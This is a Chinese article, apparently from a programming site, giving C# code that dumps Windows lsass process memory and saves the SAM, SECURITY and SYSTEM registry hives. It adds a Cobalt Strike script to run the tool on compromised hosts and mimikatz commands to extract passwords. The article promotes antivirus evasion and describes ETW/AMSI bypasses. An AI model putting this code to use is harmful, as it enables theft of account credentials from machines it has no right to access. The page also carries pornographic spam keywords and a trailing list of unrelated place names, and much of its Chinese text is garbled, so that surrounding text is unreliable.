最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

C# dump系統(tǒng)lsass內(nèi)存和sam注冊表詳細

 更新時間:2021年09月26日 17:27:37   作者:unicodesec  
這篇文章主要介紹了C# dump系統(tǒng)lsass內(nèi)存和sam注冊表,在這里選擇 C# 的好處是體積小,結(jié)合 loadAssembly 方便免殺,希望對讀者們有所幫助

1、檢測權(quán)限

因為dump系統(tǒng)lsass內(nèi)存和sam注冊表需要管理員權(quán)限,所以首先需要對當(dāng)前進程上下文權(quán)限做判斷。

public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative 
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass內(nèi)存

MiniDumpWriteDumpMS DbgHelp.dll 中一個API, 用于導(dǎo)出當(dāng)前運行的程序的Dump,利用MiniDumpWriteDump實現(xiàn)dump lsass內(nèi)存的功能,先加載MiniDumpWriteDump函數(shù)。

[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", 
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, 
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint 
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr 
userStreamParam, IntPtr callbackParam);

之后調(diào)用函數(shù),并保存dump文件,代碼如下所示:

namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(), 
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", 
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, 
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, 
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: 
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、實現(xiàn)reg save保存sam注冊表

首先導(dǎo)入需要用到的API。

        [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
        public static extern int RegOpenKeyEx(
            UIntPtr hKey,
            string subKey,
            int ulOptions,
            int samDesired,
            out UIntPtr hkResult
        );

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern int RegSaveKey(
            UIntPtr hKey,
            string lpFile,
            IntPtr lpSecurityAttributes
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern int RegCloseKey(
            UIntPtr hKey
        );

然后構(gòu)建函數(shù),對"SAM", "SECURITY", "SYSTEM"注冊表進行reg save。

namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | 
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); 
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件會被dumptemp目錄下,然后對所有dump成功的文件進行打包處理,方便下載。完整代碼稍后上傳至知識星球。

4、關(guān)于ExecuteAssembly

ExecuteAssembly是CS可執(zhí)行組件的一個替代方案,ExecuteAssembly基于C/C++構(gòu)建,可以幫助廣大研究人員實現(xiàn).NET程序集的加載和注入。

ExecuteAssembly復(fù)用了主機進程spawnto來加載CLR模塊/AppDomainManager,Stomping加載器/.NET程序集PE DOS頭,并卸載了.NET相關(guān)模塊,以實現(xiàn)ETW+AMSI繞過。除此之外,它還能夠繞過基于NT靜態(tài)系統(tǒng)調(diào)用的EDR鉤子,以及通過動態(tài)解析API(superfasthash哈希算法)實現(xiàn)隱藏導(dǎo)入。

當(dāng)前metasploit-frameworkCobalt Strike都已經(jīng)實現(xiàn)了ExecuteAssembly功能,下面主要以Cobalt Strike為例,實現(xiàn)dump系統(tǒng)lsass內(nèi)存和sam注冊表的功能

5、CS 插件

以結(jié)合 Cobalt Strike 為例,編寫一個簡單的cna腳本。

popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));
   
        }
    }
}

加載腳本后,執(zhí)行SharpDump,結(jié)果如下所示:

下載存放在temp目錄下的dump.gz,然后使用Decompress解壓,最后使用mimikatz 解密用戶lsass.dmpsam文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 
lsadump::sam /sam:sam.hiv /system:system.hiv

到此這篇關(guān)于C# dump系統(tǒng)lsass內(nèi)存和sam注冊表詳細的文章就介紹到這了,更多相關(guān)C# dump系統(tǒng)lsass內(nèi)存和sam注冊表內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • C#向數(shù)據(jù)庫中插入或更新null空值與延遲加載lazy

    C#向數(shù)據(jù)庫中插入或更新null空值與延遲加載lazy

    這篇文章介紹了C#向數(shù)據(jù)庫中插入或更新null空值與延遲加載lazy,文中通過示例代碼介紹的非常詳細。對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2022-05-05
  • 使用C#發(fā)送Http請求實現(xiàn)模擬登陸實例

    使用C#發(fā)送Http請求實現(xiàn)模擬登陸實例

    本文主要介紹了使用C#發(fā)送Http請求實現(xiàn)模擬登陸實例,模擬登陸的原理簡單,想要了解的朋友可以了解一下。
    2016-10-10
  • 利用C#實現(xiàn)修改圖片透明度功能

    利用C#實現(xiàn)修改圖片透明度功能

    這篇文章主要為大家詳細介紹了如何利用C#實現(xiàn)修改圖片透明度功能,文中的示例代碼講解詳細,對我們學(xué)習(xí)C#有一定的幫助,感興趣的小伙伴可以了解一下
    2022-12-12
  • .NET使用C#添加動作到PDF文檔

    .NET使用C#添加動作到PDF文檔

    使用C#語言在.NET框架下向PDF文檔中添加動作,不僅能夠提升文檔的交互性和用戶體驗,還能夠在自動化工作流中發(fā)揮關(guān)鍵作用,下面我們就來看看如何在.NET平臺使用C#在PDF文檔中添加動作吧
    2024-11-11
  • C# 并行和多線程編程——認識和使用Task

    C# 并行和多線程編程——認識和使用Task

    這篇文章主要介紹了C# 并行和多線程編程——認識和使用Task的的相關(guān)資料,幫助大家更好的理解和使用c#,感興趣的朋友可以了解下
    2021-02-02
  • C#中event內(nèi)存泄漏總結(jié)

    C#中event內(nèi)存泄漏總結(jié)

    本篇文章給大家分享了在C#中event內(nèi)存泄漏的相關(guān)知識點以及代碼分享,有興趣的朋友參考學(xué)習(xí)下。
    2018-03-03
  • C#字體池技術(shù)實現(xiàn)代碼詳解

    C#字體池技術(shù)實現(xiàn)代碼詳解

    在本篇文章里小編給大家整理的是關(guān)于C#字體池技術(shù)實現(xiàn)代碼詳解內(nèi)容,有需要的朋友們可以學(xué)習(xí)下。
    2019-11-11
  • C#實現(xiàn)對AES加密和解密的方法

    C#實現(xiàn)對AES加密和解密的方法

    C#實現(xiàn)對AES加密和解密的方法,需要的朋友可以參考一下
    2013-04-04
  • VS中C#讀取app.config數(shù)據(jù)庫配置字符串的三種方法

    VS中C#讀取app.config數(shù)據(jù)庫配置字符串的三種方法

    這篇文章主要介紹了VS中C#讀取app.config數(shù)據(jù)庫配置字符串的三種方法,需要的朋友可以參考下
    2015-10-10
  • c#語言入門類型和成員

    c#語言入門類型和成員

    這篇文章主要介紹了c#語言入門類型和成員,類 是最基本的 C# 類型。 類是一種數(shù)據(jù)結(jié)構(gòu),可在一個單元中就將狀態(tài)和操作結(jié)合起來。 類為類實例提供了定義。類支持繼承和多形性,即派生類 以擴展和專門針對基類的機制,下面來看看文章的詳細介紹
    2021-12-12

最新評論

奉贤区| 凤翔县| 长白| 山阳县| 和林格尔县| 德格县| 德格县| 汾西县| 土默特右旗| 凉山| 隆昌县| 通山县| 呼伦贝尔市| 江达县| 原阳县| 嘉义市| 四平市| 广宁县| 任丘市| 平阴县| 平顶山市| 宜都市| 盐源县| 喀什市| 长岛县| 赤城县| 呼玛县| 保靖县| 安西县| 罗平县| 绥阳县| 塘沽区| 新闻| 贺兰县| 凤庆县| 安吉县| 辽宁省| 古丈县| 名山县| 益阳市| 四平市|